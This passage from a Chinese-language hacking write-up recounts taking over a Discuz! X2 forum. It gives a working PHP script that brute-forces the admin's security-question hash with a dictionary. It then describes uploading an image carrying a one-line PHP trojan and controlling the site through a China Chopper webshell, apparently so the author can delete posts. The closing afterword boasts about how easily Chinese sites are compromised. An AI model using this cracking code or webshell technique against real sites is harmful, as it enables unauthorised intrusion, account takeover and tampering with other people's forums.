while($buf=fgets($fd)) { for($i=1;$i<8;$i++) { $tmp=substr(md5(trim($buf).md5($i)),16,8); //echo $tmp; $conn = strcmp($tmp,$argv[1]); if($conn==0) { echo "密码破解成功。\n"."提示问题答案为:".$buf."提示的问题 为:".theask((int)$i)."\n"; die; } } } if($conn!=0) { echo "没有正确的密码"; } fclose($fd); function theask($var){ if($var==1) { return "母亲的名字"; } elseif($var==2) { return "爷爷的名字"; } elseif($var==3) { return "父亲出生的城市"; } elseif($var==4) { return "您其中一位老师的名字"; } elseif($var==5) { return "您个人计算机的型号"; } elseif($var==6) { return "您最喜欢的餐馆名称"; } elseif($var==7) { return "驾驶执照最后四位数字"; } } ?> 我使用自己保存的 100M 大字典破解没有成功。后来我把这个脚本放在了一朋友的服务 器上,然后用 superdic 生成了 3G 的大字典,直接丢在服务器上碰撞吧。其实我坚信,在 8 位的字母加数字的大字典中去做碰撞的话肯定会成功的。只是我没有那么大的硬盘,只做了 6 位字母来测试。又经过一天后,等我登陆朋友的服务器 3389 之时,我发现得到了结果如图 25: ![]() 我敢肯定,ufedys 肯定不是这个管理员的答案。于是 hash 相同,明文却不相同的碰撞 终于成功了。我默默在心里说了声:碰撞 V5。剩下的应该比较容易了,登入后台,上传一 个带 php 一句话木马的美女图片。(不要告诉我,你在 discuz! X2 后台找不到上传的地方 啊)。然后利用类似这样的 url: http://www.222.com/data/attachment/common/cf/212018txqnu4rcee3iek52.jpg/kyo.php 连接菜刀,就这样彻底拿下了该目标。既然Webshell都拿到了,删帖子这么简单的事情还用我继续说吗? 后记 到这里,费时两周的渗透也算是结束了,实战过程中其实还遇到了更多的各种各样问题, 只不过本文是后来补写的,很多细节都忘却了,但主要的东西都已经在文章中体现了。 最后我还是想提一提国内的安全现状,不出事不代表你们没有被入侵过,在我工作过的 这几年,做了不少安全检测,每次渗透测试拿到 shell 之时,大都发现有黑客进来的痕迹,这些还都是不知道打扫日志的菜鸟呢。安全圈内流传一句话,只要有毅力没有日不下来的站, 我深信之。以我这种菜鸟的水平,在别人给我目标时我都可以保证 50%的成功率,还用说国 内归隐的各种日站大牛吗? 所以最后要敬告国内的某些大公司,请善待网络安全人才。另外在 2012 新的一年 里祝愿冰点极限的 2yue、kindle、小龙猪、老马(Marcos)、lcx、np、孤水绕城、Beach、 顺、安静、alex、紫夜、cnbug 等好友们婚姻与事业双丰收。 |